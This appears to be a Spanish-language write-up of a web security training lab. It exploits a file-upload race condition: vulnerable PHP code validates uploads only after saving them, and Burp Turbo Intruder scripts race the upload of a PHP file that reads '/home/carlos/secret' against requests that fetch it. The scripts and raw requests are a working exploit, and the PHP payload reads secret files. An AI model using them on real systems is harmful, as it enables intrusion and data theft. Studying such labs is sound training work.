<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];
// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
if (checkViruses($target_file) && checkFileType($target_file)) {
echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
unlink($target_file);
echo "Sorry, there was an error uploading your file.";
http_response_code(403);
}
function checkViruses($fileName) {
// checking for viruses
...
}
function checkFileType($fileName) {
$imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
if($imageFileType != "jpg" && $imageFileType != "png") {
echo "Sorry, only JPG & PNG files are allowed\n";
return false;
} else {
return true;
}
}
?>
Vamos a ver si creamos un payload por burp intruder y con ello ratificar si dos solicitudes como son GET /avatar/image.jpg y POST image.jpg Se pueden cruzar para subir el exploit.php sin validación alguna.
Nos tocó con TUrbO INTRUDER la extension de Burp.
Codigo implementado para poner en turbo intruder, desde la sección: example/race-multi-endpoint.py, Tenemos que tomar la solicitud POST de enviar el exploit.php, no importa que nos diga no se permiten subir .php
def queueRequests(target, wordlists):
# if the target supports HTTP/2, specify engine=Engine.BURP2 to trigger the single-packet attack
# if they only support HTTP/1, use Engine.THREADED or Engine.BURP instead
# for more information, check out https://portswigger.net/research/smashing-the-state-machine
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,
engine=Engine.BURP2
)
req1 = r'''POST /my-account/avatar HTTP/2
Host: 0a7100250310912b80469e92007700bc.web-security-academy.net
Content-Type: text/php
Content-Length: 461
'''
req2 = r'''GET /files/avatars/exploit.php HTTP/2
Host: 0a7100250310912b80469e92007700bc.web-security-academy.net
'''
engine.queue(req1, gate='race1')
for i in range(5):
#engine.queue(req1, 'search', gate='race1')
engine.queue(req2, gate='race1')
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,
engine=Engine.BURP2
)
request1 = '''POST /my-account/avatar HTTP/2
Host: 0a7100250310912b80469e92007700bc.web-security-academy.net
Content-Disposition: form-data;
Content-Type: text/php
Content-Length: 461'''
request2 = '''GET /files/avatars/exploit.php HTTP/2
Host: 0a7100250310912b80469e92007700bc.web-security-academy.net'''
# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
ChatGPT me ayudó un poco aclarando esto:
Claro, aquí tienes un ejemplo simplificado de una solicitud GET HTTP:
plaintextCopy code
GET /ejemplo-recurso?parametro1=valor1¶metro2=valor2 HTTP/1.1
Host: www.ejemplo.com
User-Agent: NavegadorEjemplo/1.0
\\r\\n\\r\\n
En este ejemplo:
Dos parámetros, "parametro1" con el valor "valor1" y "parametro2" con el valor "valor2", se envían en la URL.
Se incluyen dos cabeceras: "Host" especificando el host al que se está realizando la solicitud y "User-Agent" indicando el agente de usuario (en este caso, un navegador ficticio llamado "NavegadorEjemplo/1.0").
La línea \\r\\n\\r\ marca el final de las cabeceras.
En este caso, como es una solicitud GET, no hay un cuerpo de solicitud adicional después de la línea en blanco. Los parámetros se han incluido directamente en la URL.
Si elige crear la GETsolicitud manualmente, asegúrese de finalizarla correctamente con una \\r\\n\\r\secuencia. Recuerde también que Python conservará cualquier espacio en blanco dentro de una cadena de varias líneas, por lo que deberá ajustar la sangría en consecuencia para garantizar que se envíe una solicitud válida.
Realmente se debe dentro del script de turbo intruder enviar toda la request, así:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,
engine=Engine.BURP2
)
request1 = '''
POST /my-account/avatar HTTP/2
Host: 0a50003e04e8e4e780fd9e520019002b.web-security-academy.net
Cookie: session=Fk950acVFumcCQ7JeyA2mdgPt7sQfNlp
Content-Length: 465
Cache-Control: max-age=0
Sec-Ch-Ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://0a50003e04e8e4e780fd9e520019002b.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynsNEZeA7LEL3VG0H
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a50003e04e8e4e780fd9e520019002b.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Accept-Language: es-419,es;q=0.9
------WebKitFormBoundarynsNEZeA7LEL3VG0H
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: text/php
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundarynsNEZeA7LEL3VG0H
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundarynsNEZeA7LEL3VG0H
Content-Disposition: form-data; name="csrf"
kSWM988LnLmiezCLiHSdhlEBsCrLxJl5
------WebKitFormBoundarynsNEZeA7LEL3VG0H--
'''
request2 = '''
GET /files/avatars/exploit.php HTTP/2
Host: 0a50003e04e8e4e780fd9e520019002b.web-security-academy.net
Cookie: session=Fk950acVFumcCQ7JeyA2mdgPt7sQfNlp
Sec-Ch-Ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a50003e04e8e4e780fd9e520019002b.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Accept-Language: es-419,es;q=0.9
'''
# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
El secreto y lo que me faltaba era hacer la escritura entera de ambas peticiones, yo solo ponía ciertos encabezados. AHI ESTABA, ERA TODO.
Toma la condicion de carrera de multiples solicitudes que no se alcanzan a validar y como el archivo exploit.php alcanzó a guardarse en el archivo temporal temp_name lo que paso es que accedimos a el en tiempo record y alcanzamos a obtener la info del exploit.php que lo que nos retorna finalmente es el secreto del directory de carlos home/carlos/secret
Con esto podemos entender entonces que el código que nos dió el laboratorio al inicio de PISTA realmente estaba dando su pista en que el archivo se almacenaba temporalmente para validarlo sin embargo durante ese lapso de tiempo almacaneado en esa ubicación temporal es que nosotros pudimos aprovechar y obtener el comando que tiramos con el exploit.php que mandamos de la request1
Secret: LhCpp9Cd3a1j7r8sL3XSzXFpxPuUzb8T
Se realiza una solicitud GET al recurso "/ejemplo-recurso" en el servidor "".